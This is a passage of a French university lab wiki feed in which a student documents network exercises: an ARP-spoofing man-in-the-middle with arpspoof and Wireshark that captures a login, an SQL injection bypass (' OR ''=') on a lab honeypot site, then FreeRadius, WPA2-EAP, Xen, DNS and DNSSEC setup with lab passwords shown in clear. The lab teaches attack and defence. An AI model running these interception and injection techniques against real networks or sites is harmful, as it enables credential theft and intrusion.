    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53874</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=53874"/>
				<updated>2020-11-17T13:21:52Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Sécurisation de serveur DNS par DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
   www     IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
